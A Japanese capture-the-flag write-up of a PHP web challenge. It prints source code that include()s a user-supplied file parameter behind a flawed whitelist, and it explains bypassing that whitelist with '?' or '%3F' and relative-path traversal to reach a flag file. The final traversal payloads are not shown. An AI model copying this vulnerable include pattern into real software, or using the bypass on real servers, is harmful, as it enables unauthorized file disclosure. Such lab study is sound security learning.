URLにアクセスする,以下の表示:

HTMLソースを表示:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->

<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

コメントより、source.phpがあるようなのでhttp://URL/source.phpへアクセスすると、ソースコードが表示された。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

hint.phpの内容:

1
flag not here, and flag in ffffllllaaaagggg

fileパラメータをincludeしてくれるがwhitelistによるチェックがある。
また、?より前がwhitelistに合致してもOKとしている。
更に、URLデコードしてから?より前がwhitelistに合致してもOKとしている。

つまりは、以下の通り。

  • hint.php → whitelistにあるためOK
  • miao.php → whitelistに無いためNG
  • hint.php?miao→ ?より前がwhitelistにあるためOK
  • hint.php%3Fmiao → %3FをURLデコードすると??より前がwhitelistにあるためOK

ただ、このwhitelistを単純に突破しても、includeするファイル名と合致しない。

1
http://URL/?file=hint.php?hint.php

よってhint.php?部分をディレクトリ名と見立てて、相対パスで指定してみる。
hint.phpのincludeができるかどうかで実験する。

成功。

ffffllllaaaaggggを探す。

同ディレクトリには無い。

ルートを辿る。

flag get:

参考资料

这个题目类似这个